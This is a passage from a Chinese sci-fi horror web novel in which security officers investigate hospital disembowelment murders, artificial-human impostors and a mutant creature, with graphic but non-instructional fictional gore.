神秘人嗤笑,“那你告诉我,顾念昨晚为什么连夜查你信息?好在信息都是很久以前就准备的,顾念再怎么查也查不出什么。” 她心烦意乱地咬指甲,究竟是哪里暴露了……不可能出错的,每一步都是她提前预设好的,除了今天……陶顺安脸色一变。 早知道不说什么熬汤了,要是那个叫宋拾的编外安防员再告状,顾念绝对会更加怀疑她。 她眼神微暗。 “如果你不是成功的实验体,就凭这么个智商,也是其它实验体的口粮。”神秘人话锋一转,“昨天的任务完成了吗?” 陶顺安呼吸一滞,咬牙切齿,只觉左脸还在隐隐作痛,“本来差点成功了,结果半路杀出来个精神师。” “还有就是,我今天看见了那个孩子和……”她吞咽口水,声音越来越小,“和我们派出去的人造人,顾念已经让她们去医院检查了……” 神秘人沉默良久,愤怒地气笑了,“好,很好,当初就不该派你去。我算是知道为什么顾念一上来就查你了!如果还有下次,你就一辈子待在实验室吧!” 通讯结束。 陶顺安握拳,攥得指节咯噔响,深吸口气,平复好心情后她打开厕所门,措不及防地看见一道人影杵在旁边。 宋拾牵起嘴角,露出洁白的牙齿,“好巧呀,你也上厕所啊。” 陶顺安扯动唇角,笑不出来,心脏泵血浑身冰凉,她究竟听见了多少? 渐渐地,她眼中墨色翻滚,睫毛遮住了情绪,“是呀,宋拾姐什么时候来的呢?” 宋拾歪歪脑袋,“刚来,怎么了吗?” 陶顺安摇头,笑,“没事,我先去帮裴木清一起照看小孩了。” 她轻轻地走出厕所,冰冷的水流在指缝间流淌,她望着镜中的自己,年轻的面庞有些狰狞。 这个叫宋拾的,真碍事。 关掉水龙头,她轻笑出声,只有死人才能保管秘密。 看着陶顺安离开后,宋拾关上录音,顺手转发给顾念,脑海中回想起顾念的回答。 “我曾经和你一样,也是通缉犯,罪名是残杀战友。” “本来想着崇拜我的能是什么好东西,就随便一查,还真让我查到了东西。” “ 4025年12月5号,陶顺安死于车祸,她的案子正好上任队长接手的,资料齐全。你说,一个死人怎么可能复活?” 第27章 “编外安防员宋拾, 听到通知后请立即前往503会议室。” 厕所天花板骤然响起宙启的声音。 正准备上厕所的宋拾:“……” 会议室。 顾念端起杯子抿了口咖啡。 敲门声响起。 “进。” 宋拾推门而入,屋内已经站着三个人了,裴木清和陶顺安,以及一位之前一起清理鳄蜗的同事,叫白峥。 年过四十的男人,但保养极好,身形匀称高大,嘴角时常严肃地压着,不怎么笑。 顾念背靠座椅,疲惫地揉着眉心, “既然都来齐了,那我就开始讲了。” 她手指轻叩桌面,伴随节奏规律性地敲击,桌面中央升起机械设备。 滋啦”一声,血腥未打码的高清图片出现在众人眼前。 裴木清下意识惊呼出声。 入目先是诡异的画面,逼仄的空间,三位死者神态松弛,未有挣扎痕迹,如同陷入深度睡眠。 他们下半身衣物皆不翼而飞,不知是死了多久,血液凝成大面积的暗褐色,近乎铺满地面,深色的布料碎片结结实实粘在地上,墙壁上甩着黄褐色的泥点子。 “猜猜他们怎么死的?”顾念十指交叠,抵住上颚,视线一一掠过他们。 宋拾盯着影像,脱口而出:“失血过多而死。” “碎布片上面的花纹模糊,但还是能隐约看出来,这是多科市医院的病号服。” 顾念挑眉,示意她继续说下去。 “扒掉裤子更方便凶手作案,墙上地面上都有不少排泄物,我猜是抽肠子时甩出来的。按理来说医院应该没有那么狭窄的地方……” 她顿了顿,目光移到墙上,“也许是电梯夹层。死者被抽肠后未被及时发现,失血过多而亡。” 一旁的白峥单手撑桌子,绷紧着脸道:“他们没有挣扎的痕迹,可能被注射了某种药物。” 宋拾蹙眉,目光掠过死者的面庞,甚至从他们的脸上看到了安逸。 “说得都很不错,这也是你们需要调查的地方之一。”顾念颔首,指节再度叩响桌面。 投影影像画面一转,死者皆被翻身露出伤口,血糊糊一片,屁股上沾满凝固分泌物。 四人脸色微变。 顾念开口道:“一开始多科医院只是有患者突然崩溃,说见到鬼了,但医院安防系统并未发现什么,再到后来三名患者同一天晚上消失。” “医院查监控,看见他们失了魂一排排走进电梯,明明什么也没按,电梯升到某一层后停下,他们进去后再也没出来。宋拾说得没错,的确是电梯夹层。” “医生们找到患者时,只有一堆发臭的尸体和屎,死者的肠子不翼而飞。” “怎么会有这么变态的人。”陶顺安恶寒地揉胳膊,看向顾念,“队长,你不会只让我们四个去吧?” 四人齐刷刷望向她,等待答复,死亡般的沉默在会议室流淌。 一阵急促的铃声陡然打破寂静,顾念接起通讯,静静地听着对方的吩咐,时不时敷衍回应几句。 终于,通讯结束。 “天天催,安防局忙得要死,哪有时间给他们找精神师。” 她骂了一句,收起终端看向他们,清清嗓子,“怕什么?只是先派你们过去调查,实在不行,我让宙启给你们开个武器权限。你们就暂时组成个小组,白峥为队长,他经验丰富,关于此次调查,你们就听他安排就好,没有异议吧?” “没有。”几人应声。 陆续离开会议室后,宋拾跟着白峥乘电梯来到负三楼。 一走出电梯,墙壁上高精度武器瞬间瞄准四人,蓝色的扫描光一闪而逝。 宙启道:“武器库权限已为各位开放,请在五分钟内挑选好装备。” 沉重的铁门开启。 宋拾舒了口气进了武器库。各种枪支炮弹整齐摆放在铁架上,有一种自带强度的美感。 枪支弹药的硝烟香气。 宋拾犹如掉进米缸的老鼠,这里摸摸那里揉揉,恨不得通通占为己有。 “虫疫问题还没完全解决,医院又是重灾区,不想割舌头的,防护头盔一个二个的都给我拿上。”白峥蓦地开口,犀利的目光一一看过去。 陶顺安套上头盔,小声说道:“老实说,这起案子让我想起了一件事……” 她声音压了下去,几乎听不见声音,但裴木清的好奇心完全被勾起,蹭过去问道:“话别说一半啊。” 她小心翼翼地望了眼白峥,见对方并未制止,才缓缓道:“在我小时候,隔壁住着一个专门掏人肠子的变态,警察找上门时周围的邻居都不敢相信他会杀人,他是我们那里公认的老好人。” 宋拾拿枪的手一顿,嗤笑出声,大概是那句“老好人”引人发笑吧。 周围的目光聚焦过来,她无奈摊手,“继续说。” 陶顺安并未在意,接着道:“他杀了十几位女性,手段都极其残忍,伸手穿透受害者的子宫壁从腹腔扯出小肠,在将其勒在受害者的脖颈致其死亡。” “变态!”裴木清猛地激灵,反复揉搓胳膊上的寒毛,“被判死刑了吗?” “死缓,最后无期徒刑。”陶顺安声音发闷,“我小时候的玩伴……就是被他这么杀死的……” 裴木清义愤填膺破口大骂:“什么败类!人渣!我真想现在就去监狱给他来上一枪!” “咣当!”白峥的手重重拍在铁架上,他脸黑如砂锅,拧紧眉头,语气不耐烦:“说够了吗?赶紧拿东西。” 两个人也不知道白峥怎么突然发这么大的火,顿时缄默,老老实实挑选武器。 宋拾戴好头盔,将短刀插进靴子里。 闲得实在无聊,她点开终端搜索“掏肠杀人犯”,最上方第一条便是“4015年多科市掏肠恶魔”。 “ 4012年3月16号晚,放学回家的弟弟小白(化名)一开门,看见了倒在血泊里的姐姐白笛,脖颈上还缠绕着绳子装的东西,小白走近定睛一看顿时吓蒙了,缠在颈部的不是别的,正是姐姐的肠子。 歹徒从白笛下身残忍地拽出全部的小肠,缠在她的脖子上,子宫破裂阴/道脱垂大出血,白笛也因未得到及时的救助,大出血死亡。 4009年,白笛的双亲欠债双双上吊自尽,年仅20岁的白笛一个人撑起了这个家。为了供弟弟小白上学,白笛不得不辍学进厂打工。谁知,这么好的女孩却永远定格在了23岁。 ” 黑漆的文字几乎渗出血来。 脚步声停在了她身边,宋拾惊愕抬头,就看见白峥的发红的双目死死盯着屏幕,攥紧的拳头微微颤抖。 “白、白峥队长?” 白峥扭身,大跨步走出武器库,语调如平常那般,“快点,别墨迹了。” …… 多科市医院。 医院里人满为患,来往的护士医生脚步匆匆。 裴木清目光穿过人群,陡然眼前一亮,兴奋挥手,“姐!姐!” 人群里,身着白大褂的年轻医生面带微笑同患者交谈,脸上没有一丝不耐。 宋拾皱眉,“这是你姐?” “是啊,我姐!”裴木清骄傲挺起胸膛,即便戴着头盔,宋拾仿佛也能看见他骄傲的模样。 闻声,年轻医生莞尔,又向病人嘱咐几句,提步朝他们走来,“来得挺快,需要看下监控吗?” 说的是关于掏肠的事情。 这个医生,正是上次调查虫疫碰见的那位。 宋拾不动声色地扫过她的胸牌,裴羽流。 “看,麻烦您带下路。”白峥点头。 安防员们跟着医生挤过人潮乘上电梯,终于获得片刻喘息。 监控室内无人,监控屏幕铺满碎片化的图像,实时监控着各个角落。 白峥望向医生,裴羽流了然,道:“宙启,播放录像。” “好的。” 监控屏幕上画面转换,是一段监控录像。 医院安静的长廊上,三名患者排着队一步步朝前走,他们眼神空洞,神态放松自然,嘴角痴迷地上扬。 走到电梯前,电梯门陡然开启,他们排队跨进电梯。 录像画面一转,电梯内三人站着,除了违和的神态,并无其它动作。 电梯楼按钮熄灭着,但屏幕上的楼层数不断变动,骤然闪烁几下,一堆红色的乱码。 门开了,黑漆漆一片。 他们一个接一个走进黑暗的深渊。 就在监控录像结束之际,一道黑影猛地闪过,宋拾立即道:“等下!暂停!” 录像暂停,但并未截到宋拾想看的地方。 陶顺安诧异抬头:“宋拾姐看见什么了?” 宋拾并未回复,而是回想了下,道:“宙启,麻烦帮我调到4:39分。” 宙启:“不麻烦,乐意为您效劳。” 画面缓缓拖至4:39分。 陡然,一颗硕大的眼珠占据屏幕,黑漆的瞳仁,阴测测地看着摄像头,似乎在透过摄像头凝视他们。 宋拾心脏漏了一拍,不由地屏息。 一时间竟没人敢出声,直到白峥回过神来,缓缓下达指令,“宙启,查虹膜。” “好的,请稍后。” 宙启温柔答应,不多时,它再次出声,“经过检测,不在数据库中。虹膜分析结果为——未知。” 第28章 黑漆眼珠鼓得像随时会爆浆,轻而易举地勾出人类心底的不安。 人类最强烈的恐惧源于未知。 桌上公用终端骤然响起一串尖锐的铃声,将众人从思绪里扯出。 裴羽流抄起终端接通,对面安静得没有一点声音。 她眉心蹙得更紧, 只能听见自己极浅的呼吸声。 就要挂断时,滋啦的电流混着模糊不清的人声传出:“肠……肠……子……哈哈哈哈……”沙哑怪异的笑声。 宋拾眼神示意,裴羽流了然打开扩音。 急促粗重的喘息,“肠子……”嘎吱嘎吱像是咀嚼。 与此同时,门外响起沉重的脚步声,拉风箱似“赫赫”的呼吸声愈发清晰。 室内的五人大气不敢出,聚精会神地听着门外的动静。 “……哒哒……哒哒。” 脚步声正好停在门外,终端里混杂着电流的笑声戛然而止,通讯已被挂断。 “嗬嗬”的喘气声透过门缝挤进来。 不知是不是宋拾的错觉, 总觉得外面的东西贴在门上,阴湿的视线穿过门缝窥探他们。 “谁在外面?”她试探性开口问道。 没有人应答,只有怪异的笑声。 宋拾皱眉,看向白峥。 白峥颔首,掏出腰间的枪, “咔嚓”上膛,攥紧枪几步走至门前。 他手搭在门把手上,先是缓慢下压后猛然拉开门, 举枪指在门外人的额头。 他的视线下,穿着病号服的男人惊恐地举起双手,“嗬嗬”哮喘,大口不停喘气,胸脯剧烈起伏着。 男人透过缝隙看见裴羽流,张着嘴艰难道:“裴医、医生。” “你怎么来这里了?” 裴羽流跨步走来,搀扶男人进屋, 让他坐在椅子上,语气柔和:“保持上半身弯曲,很好,很好……带喷雾剂了吗?” 男人哆哆嗦嗦从兜里拿出喷剂,手指颤抖几乎拿不稳,裴羽流接过喷剂摇匀,再递到他手中。 眼前的这一幕着实出乎安防员们的意料,一开始莫名其妙的通讯让所有人下意识认为门外的是凶手。 宋拾抿唇,一丝怪异感涌上心头,但又说不出哪里奇怪。 恢复正常后,男人缓了几秒,猛地攥住裴羽流的手,“裴医生,我、我也撞见鬼了,你们一定要救我!我不想死!” “什么?”裴羽流惊愕。 宋拾凝视他,“地点,时间,你怎么确定是鬼。” 指望一个精神有些异常的病人完整地复述发生的具体情况,简直天方夜谭。 男人说话颠三倒四,说得太过激烈哮喘便又犯,安防员们只能努力去整理信息。 根据裴医生提供的信息,三位死者正好是眼前这位病人同病房的病友。 病友都因为见“鬼”而死亡,搞得男人这两天心都慌慌不安。谁知今天,他恍惚间余光总能看到一道黑影,黑漆如墨,一次都比一次近。 乘上空无一人的电梯,头顶便响起令人毛骨悚然的声响,似磨牙又似咀嚼,隐约又能听见若有若无的笑。 终于,电梯门打开了。 他舒了口气,抬头一看整个人僵在原地,对面是堵墙,逼仄狭窄的空间,地面和墙上凝固的血液和分泌物还未清理干净。 吓得他连忙关上电梯,耳边却又传来一声叹息。 要是一不留神没看见朝里走,他的结局恐怕就和死去的病友差不多吧。 他并没有劫后余生的庆幸,更多的是侵蚀五脏六腑的恐惧,很有可能自己被“鬼”盯上了。 宋拾:“……” 不是,你们赛博人怎么不是信神就是信鬼啊。 她道:“也许是变异物种。” 录像里的眼珠鼓得夸张诡异,不太可能是人类的眼睛,指不定又是某种变异生物。 “我倒觉得是人。” 一直沉默的陶顺安突然出声,“之前便有变态专门掏人肠子的案例,极有可能是通过这种恐吓,引导别人往鬼怪的方向走。” 引导? 说到引导,宋拾看向陶顺安。 年轻的安防员低眉思索,像是完全陷入自己的沉思之中,看起来并无异常。 但她似乎有意在引导着他们,“鬼”其实是个人。 从会议室中那句“怎么会有这么变态的人”,后续又在武器库中叙述的回忆,再到现在,陶顺安一直在传达一个信息,凶手是人。 这个世界,犯罪的可不止有人,还有一堆奇形怪状的变异物种。 从专门学校毕业的优秀生,怎么会犯这么低级的错误。 这又何尝不是种障眼法呢?但这么做的目的是什么? 已知的信息仍然不足,脑中杂乱的思绪扭成一团,她抬舌抵住上腭。 不过,有件事情需要确认。 宋拾趁着无人注意她,打开终端论坛,单手飞速码了行字: E663 ,你姐给你打电话的时候说了什么? 眼前的裴羽流究竟是本人,还是冒牌货,目前她还不敢妄下定论,只能老实采集整理相关信息,拼凑一份答案。 突然她心念一转,其实想要确认是不是人造人也不难。 仿生人和人类的“触感”可不同。 多亏省去读条的福,她就算站在这里释放精神术法,也不会被人发现。 她指尖挑起,释放精神术一点点去感知。 裴羽流似乎察觉到异样,眼底的冰冷一闪而过,但她嘴角仍牵着温和的笑。 她起身,目光不着痕迹地掠过在场的每个人,自然也包括宋拾。 宋拾低着头,沉浸在终端里。 安防员对医院的每个电梯里里外外都进行了排查,但很可惜,一点线索也未找到。 排查完已经下午四点多了,顾念发来通讯问了遍情况,打算先让安防员们回来。 终端屏幕上,顾念靠躺在座椅上,闭目养神,颇为疲惫,“这几个新人怎么样?” 白峥张了张嘴,话还未说出口,只见,宋拾搓了搓黢黑的手,“我想先去看下老杨。” 他颔首,目送她离开后,对顾念说:“宋拾挺重情重义的。” 屏幕上顾念挑了挑眉,不置可否,“其他人呢?” 裴木清一脸便秘走来,“白峥队长,我想去上厕所。” “……去吧。” 闻声,裴木清脸上露出如重释放的神情,一路狂奔跟着指示箭头,火急火燎地冲进医院厕所。 “裴木清,”白峥顿了顿,脸上浮现挣扎的神色,绞尽脑汁才想出点词,“老实,服从性强。” “陶顺安呢?”顾念睁开了眼。 …… 坐上马桶的那刻,裴木清觉得自己如获新生。 他掏出终端,论坛上有“今天捡垃圾了吗”的私信,大佬怎么突然问他姐的事情啊。 E663 :怎么了吗?她说她那段时间心情不好,所以就断开了所有联系,结果刚收拾好心情,虫疫爆发,所以才没来得及联系我。 几乎是同时,对面发来信息:你姐可能被掉包了。 裴木清骤然瞪大眼,擦着火花打字:大佬,这种玩笑可不好笑,而且你怎么知道我姐是谁?你在跟踪我还是调查我? 人心险恶,没想到大佬也不是什么好人。 对面没再回消息。 “吱呀——”厕所的大门被推开,在一片安静中显得格外突兀。 高跟鞋踩在地面的声响,裴木清惊得后背僵直,不会是他太匆忙跑错厕所了吧! 这时,手机的提示音弹出。 今天捡垃圾了吗:那两个诺诺不就是最好的证明吗?你不是一直在调查失踪案吗,那些失踪的人全都回来了,你比谁都清楚这里面诡异的地方。 裴木清陷入沉默,他当然知道。 等等,大佬怎么知道两个诺诺的事? 今天捡垃圾了吗:我是精神师,检测对方是人类还是人造人并不困难。 所以,和他几乎相处一天的姐姐,其实是个仿生人? !裴木清感觉后背像是爬上了一条吐信子的蛇,鸡皮疙瘩纷纷冒起。 “哒哒哒。” 高跟鞋的声音戛然而止,透过厕所门的缝隙,一双红色的高跟鞋停在他的门前。 细细的嗓音:“先生,你有看见我的高跟鞋吗?” 裴木清下意识脱口而出:“不是在你脚上吗?” 等等,先生?这里是男厕所还是女厕所? 女人“咯咯”笑出声,尖细的嗓音在厕所回荡,陡然间调子一转,哀戚的啜泣,似满腹幽怨,“可是我怎么看不见我的高跟鞋啊……” 虽然理智告诉裴木清这很可能是医院里的精神病人,但他还是控制不住害怕,哆嗦着向白峥发送通讯申请。 白峥队长快来救他啊! “是不是你偷了我的鞋?” 这次的声音是从头顶传来,尖锐而凶狠,裴木清猛然抬头,瞳孔骤然缩成针尖。 手一哆嗦,终端砸在地面。 “啪嗒”。 屏幕裂出一条缝。 宋拾心痛地捡起终端,指尖摩挲裂痕,心在滴血。 病房内的老杨在砸她终端后,继而化身为桌面清理大师,噼里啪啦乱砸一通。 医生也不敢上前,尽可能放轻声音:“杨先生,其实……” “为什么?!为什么不让我出去?!囡囡还等着我呢!”他双目赤红,全然听不进去一点话。 宋拾对上他凶狠的眼神:“你现在这个样子,囡囡会害怕的。” 老杨愣了半晌,似有些恍惚,良久,茫然无措地看向她,皱眉:“你是谁?” “我……” 老杨露出恍然大悟的神态,“我记得你!小可怜!哥哥死了的那个是吧?” 这会轮到宋拾楞了,医生只是轻轻晃了晃头。 “你记起来了吗?”宋拾心脏不由加速。 老杨摇摇头,说道:“又不太记得。”他开始自顾自自言自语起来,嘟嘟囔囔没个重心。 医生露出笑容:“女士,探病时间结束了。” “好。”宋拾有些不甘心地再次望了老杨一眼,但对方沉浸在自己的世界里。 门缓慢合上前,她突然听见一句“吃肠子的怪物……” 宋拾不顾医生阻拦,一把推开门,笑容满面跑到老杨身边,“杨叔,我想听你讲吃肠子的怪物的故事。” 医生重复道:“女士,时间已经结束了。” 老杨冲医生挥了挥手,“哎呀,丫头想听一个故事怎么了,你这医生真碍事。” 迎着宋拾期待的目光,老杨眼神都变得明亮 了些,他说:“有天晚上啊,我喝水喝多了起夜上厕所,谁知,让我瞧见了个什么东西。” 他一拍大腿,亢奋地比划起来,“眼珠又鼓又大,嘴巴咧到耳朵根,满嘴尖牙,长着一个巨长的舌头,就跟那个青蛙的舌头一样,巨丑无比,还流着哈喇子。” 宋拾立刻抓住重点,“变异物种?” “对对对,就是变异物种!它当时正在吃血糊糊的肠子,一瞅见我就要追,好在我身手敏捷,三下两除二就把它打得落荒而逃!” 宋拾:“……” 亏她真情实感地在这里听。 不过前半段也许是真的,所以这起掏肠案的真凶大概率是变异物种。 陶顺安将他们往“人”的方向引,是想拖慢调查,为变异物种争取时间。 说起人与变异物种“合作”,宋拾倒想到了一个组织—— 哀涅托。 她退出了病房,打开终端,是裴木清的最后一条消息:“大佬,我好像撞鬼了。” 撞鬼?宋拾大脑一时间有些卡壳,不过下一秒她便反应过来。 那个家伙盯上裴木清了。 第29章 高跟鞋从上面直直朝裴木清脸上砸来,吓得他手一抖,攥着裤子险险躲过。 “咔嗒”高跟鞋歪倒在地板上。 “喂,你!” 裴木清忍住了爆粗口的冲动, 捡起终端, 目光一瞥,陡然发现挡板缝隙的那截腿消失了。 走了? 可算走了。 他还没松口气,就听见带着笑意的声音,生硬而诡异:“开开门……” 裴木清大气也不敢出,视线死死盯着缝隙,他确信自己没有眼花。 没有人的腿和脚。 “滋啦!”指甲在门上刮出一道刺耳的声响,随即门把手像被人按压般咯吱咯吱作响。 “你有没有看见我的高跟鞋呀……” 头盔屏幕上,一团乱麻突然出现,耳畔传来宙启的警告:“磁场异常,磁场异常。” 难、难道医院真的闹鬼? 但下一秒,他便否决了这个想法,鬼可以是人装的, 一些仪器也可以干扰磁场。 外面的东西变得不耐, 疯狂按压把手,隔板剧烈颤动。 整个隔板在此刻脆弱得像层薄片,仿佛下一秒就要崩塌。 “把它还给我!”女音陡然尖锐凄厉。 裴木清拾起高跟鞋,用力往上一抛,随着高跟鞋落地的声音,他仰头道:“还给你了哦,别再敲了。” 门外消停了,天花板的灯却猛然熄灭,灰暗环境下终端屏幕亮起。 裴木清在查看的一瞬间,耳边炸响宙启急促的警报:“危险!未知生命体靠近!请立刻撤离!立即撤离!” 脖颈一阵瘙痒, 裴木清扭头看去,是一缕黑发,正好垂落进他脖部。 “我的脸好痛哦……” “啪嗒”有什么液体滴在了头盔上。 他视线上移,一颗倒吊的大头冲他咧嘴笑,凸眼尖牙,与其说是人类,不如说是怪物。 高跟鞋鞋跟牢牢钉在它脸上,发黑的血源源不断渗出,砸在头盔上。 “我的脸好痛啊……” “咔嚓”清脆的上膛声。 枪口已经抵在了它的额头,怪物惊愕,下截句话梗在喉咙里。 “说,你的目的是什么?”裴木清难得正经,“我数到三,三。” “二。” “一。” “咚!” 冷不丁地骤然响起拍门声。 “裴木清?你在里面吗?” 匆匆赶到宋拾喘着粗气,甩了甩发红的手掌,决定用脚把门踹开。 她后退了几步正要踹门时,厕所隔间内飘出来颤抖的嗓音。 “宋、宋拾?” “是我,你没事吧?”宋拾舒了口气,还好,人还活着。 不过听声音,像是吓得不轻。 “我……” “啊!变态!”一声彪悍的尖叫,只见刚进厕所的壮汉连连后撤步,如遇禽兽,“这里是男厕!” “……” 宋拾硬着头皮解释道:“我弟上厕所没带纸,我是来给他送纸的,哈哈,非常抱歉哈,我马上就走。” 隔间内传来裴木清弱弱的声音:“姐,你别走。” 宋拾:“……” 被人当成变态是什么感觉? 被怀疑加审视的目光凝视长达三十多秒后,厕所门终于开了,她一把揪住裴木清的衣领就往外拖。 揪出去后,她瞪着眼,“发生什么了?” 裴木清如见恩人般,恨不得扑上去抱住她大腿,“呜呜呜,姐,你是我唯一的姐。” 宋拾眼皮直跳,把他从身上扯开,“你碰见了什么,吓成这样?白峥说你上了半个小时的厕所,还以为你掉进去了。” “鬼,是鬼!”裴木清陡然想起什么,“对了,还有高跟鞋!那可是证据,我这就去拿,姐你等我一下!” 说罢,他一溜烟跑进厕所,再出来时依旧两手空空。 他不解挠头,“不可能啊,明明刚才还在的,我没有发癫,我真的碰见了。” 宋拾的视线在他身上转了一圈,“你的枪和头盔呢?” 裴木清动作一僵,但很快便恢复如常,垂下脑袋道:“我嫌上厕所不方便,就放车里了。” 宋拾掀了掀眼皮,不甚在意,提步朝前走,“先去找医院调监控吧,你说的鬼很有可能和掏肠案件的凶手有关。” “你和那鬼有正面接触吗?长什么样子?”她说着,但并没有人回应,只有她自己的脚步的回响。 猛然察觉不对劲,她转身望去,身后已然空荡荡,半点不见裴木清的身影。 “裴木清?” 她拧紧眉头往回走,手下意识地搭在腰间的枪上,乳白色的瓷砖倒影着她纤细的身影。 骤然间,厕所传来一声凄惨地尖叫,如同杀猪。 不好。 宋拾心一惊,举起枪风驰电掣奔过去,一脚踹开厕所大门,里面熟悉的身影令她下意识屏息。 裴木清握枪对准那名壮汉,男人吓得高举双手,一动也不敢动,神情崩溃,生怕他开枪。 “你你要什么我都给你,别杀我!” 裴木清依旧维持着瞄准的姿势,擂鼓似的心跳不断地刺激他的大脑神经。 额头的汗顺着太阳穴滑落至下颌,没入到脖颈与头盔的缝隙中。 “裴木清,你先放下枪。” 一道清亮的女声,却奇异地让他的心安定下来,绷紧的神经终于松弛。 僵硬的胳膊逐渐垂下,裴木清木然转过身来,戴着头盔看不见神情,嗓音微微发颤:“你是真的还是假的?” 宋拾愣住,什么真的假的? “如果你是真的宋拾,请不要相信任何人!包括我!”裴木清突然喊了这么一句。 宋拾还未反应过来,两人的终端提示音同时响起,她掏出终端,是白峥发来的信息:来609号病房,上午那个患者死了。 再度抬头时,厕所竟一个人影也没有,仿佛一切都是她的幻觉。 她恍惚地站在原地。 裴木清是在提醒她? 一股熟悉的刺痛从尾椎直达脊背,宋拾利落转身,举枪瞄准身后的人。 “宋姐,你这是干什么?”没戴头盔的裴木清无辜地举起双手,看起来同平常无异。 宋拾却一阵毛骨悚然,她的第六感从不会出错,明晃晃的恶意,眼前的“裴木清”刚才是准备想杀她。 如果她没及时转身,那就是另一番场景了。 “裴木清”继续说道:“姐,你别这样,我害怕。” 宋拾脑海中蓦地闪过那句“你是真的还是假的”,死者松弛自然的神情,以及老杨的描述。 人类科技尚未能制造如此逼真的幻境,也只有变异物种。 她放下枪,牵着嘴角微微一笑,凉意沁人,“队长通知我们去609号病房,走吧。” 最坏的猜测,她已经落入了对方设置好的圈套里了。 不过没关系,是敌人,粉碎就好了。 …… 男人的死法和他的病友相同。 神情松弛自然,没有挣扎的痕迹,下身衣物烂得稀碎,血糊糊一片,肠子不翼而飞。 下午两点到两点半,病房内的监控画面全黑,画面恢复时,人已经死了,最离奇的是宙启居然没有检测到异常。 病房外的监控也没有照到半点可疑的人影。 “小陶,下午你去哪了?”宋拾看向陶顺安,不动声色地观察。 陶顺安歪头,戴着头盔的脸看不出神色,她认真答道:“我一直在医院大厅里坐着呀,怎么了吗?” 宋拾摇头,将视线放回在尸体上,又缓缓环顾整个房间,只要那东西是从外面进来的,监控就一定会拍到。 既然不是外面,那就有可能是里面。 但很遗憾,她并未找到任何可以钻进屋的地方。 突然,她的视线落在墙上的一副油画上,油画上的人像隐约有些眼熟。 她走近去瞧,“裴木清”也跟着蹭过去,“姐,你喜欢油画啊,你要是喜欢,我可以给你买几幅……卧槽!” 他瞪大眼珠,不可置信地看着墙壁上的油画。 “怎么了?”白峥皱眉,大步跨过去,看到画上的人时,惊愕地愣在原地。 油画上的人的面容同死者一模一样,但此刻画布上的颜料以肉眼可见的速度移动,人脸逐渐模糊。 直到一张熟悉的面孔凝聚而成。 裴木清。 “裴木清”倒吸一口凉气,踉跄地后退几步,“这上面为什么是我的脸啊。” 好浮夸的演技。 宋拾伸出手一把扯掉画布,一个巨大窟窿展露在众人的视野中,对面是堆满杂物的杂物间。 陶顺安顿时恍然大悟,说道:“那副画上画的,该不会是凶手的目标吧。” “裴木清”脸色煞白,呼吸有些紊乱,他吞咽口水,摇头:“不……应该不会吧……” 陶顺安看向惊魂未定的青年,“如果是这样的话,不出意外,凶手的下一个目标,就是你——裴木清。” 他一把握住宋拾的手,“姐!姐!队长!小陶!你们一定要救我啊!” 看着两人这一唱一和,宋拾差点没笑出声,但她还是有演员的基本操守的。 她冷声道:“你吓他干什么?” “宋姐,你误会我了,这只是我的推测,我没想着要吓他。”陶顺安垂着头,愧疚道。 “裴木清”顺势崩溃地缓缓蹲下,蜷缩成一团,嘴里嘟囔着“要死了要死了。” 裴木清要是看见自己窝囊成这个模样,一定会被气死。 陶顺安拍拍他的肩膀,半开玩笑道:“你也别太害怕,凶手总不能追到你家里吧。” “裴木清”双手环抱住自己,神经兮兮地环顾周围,“你别吓我啊,万一他真追我到家里呢?!” “出息!瞧你那怂样,有点出息没有。”白峥揪起他,嘴角压得很低,“你要是实在怕,今晚来我家睡。” 裴木清攥住白峥的袖口,眼含希冀,“真的吗?” 宋拾眼中眸光转利,和他们耗得越久便越不安全。 “等等。” 她突然出声,眼睛紧盯着窗外,天空红澄澄一片,似被血浸染,“你们没发现吗?有点安静过头了。” 她提步走至窗前,视野内空无一人,路灯明灭地闪烁着昏暗的光,空无一人的长椅下生着斜长的黑影。 糟糕。 宋拾又急忙转身,推开门,本应该在门外守着的医生们也已不见踪影,空荡荡的医院长廊上没有半点人影。 “怎么了?”白峥不解地走过来。 宙启的警报在众安防员的头盔内鸣响: “磁场异常……滋啦……磁场异常,有未知生物靠近,请……请立即撤离!” 下一秒,宙启的声音像是被堵厚墙隔开,彻底消散在空气中。 宋拾按住腰间的枪,打开终端查看,不出所料,无信号。 屏幕却蹦出弹窗:“【触发任务】医院最近怪事频发,是闹鬼还是人为?这背后的势力究竟是谁,他们要做什么?本次任务无奖励无惩罚,但我想,你应该不会想失败吧?” 宋拾挑眉。 论坛居然没有受到影响?就连最强大的人工智能宙启都被屏蔽掉了,论坛竟然没有受到半点影响。 “快撤。” 白峥掏出枪,警惕地盯着空荡的长廊。 幽静的走廊里甚至能清晰地听见彼此的喘息声。 “滋啦滋啦”天花板的灯不停闪烁,安防员们脚步匆匆,但越走越察觉到了不对劲的地方。 墙皮剥落露出混泥土,像是荒废了许多年,发黄的墙面上满是儿童的涂鸦画。 粗糙的线条,稚嫩的笔触,随意勾勒出一幅诡异的画:四个人吊死在树上,每个人都戴着头盔,红笔画的粗绳像是肠子。 “我受不了了!再这么下去,我一定会死在这里的!”“裴木清”陡然爆发一声尖叫,不顾一切地朝前奔去。 “回来!”白峥当然知道他这么一个人瞎跑危险,急忙跟上去追,消失在走廊拐角。 走廊里不知从哪升起厚厚雾气,朦胧的白雾遮住了前面的拐角,不断翻滚的雾气像是一张巨口,伺机等待着猎物上钩。 “宋姐……我害怕……”陶顺安怯懦走近她,嗓音发颤,“我们会不会死掉啊。” “怕什么?你不是有枪吗。”宋拾“卡擦”给枪上膛。 陶顺安有些委屈,“不知道是不是错觉,感觉你好像不喜欢我。” 宋拾微笑,摆动着手中的枪,“怎么会,我们赶快追上他们吧,走散了不安全。” “好。”她怯懦点头。 两人并肩走进浓雾里,尽头却是一个楼梯,一眼望不到底。 “要下去吗?”陶顺安问道,她像个待机的NPC,等待玩家触发条件。 宋拾后脊发凉,她回头往后看时,发现身后的路居然消失了,只有望不到头的深渊。 鞋子擦过地面的回响,宋拾踩上阶梯,心底默数着她们的脚步。 数着数着,突然发现,脚步声多了一个。 她不信,反复试了几遍,脚步声的确多出来一个。 见她停下脚步,陶顺安看向她,“宋姐,怎么了吗?” 宋拾瞳孔一缩。 陶顺安身后跟着一个怪物,舌头拖垂至地面,披散着头发,面容惨白,一双凸起的黑眼珠死死盯着她。 宋拾垂下眼睫,面不改色道:“没事,你听说过一个故事吗?” “什么故事?” “好几年前,有个年轻的女孩,她梦想是成为一名安防员,为民除害,成为一位英雄。” 陶顺安笑了,“宋姐是在说自己的故事吧。” 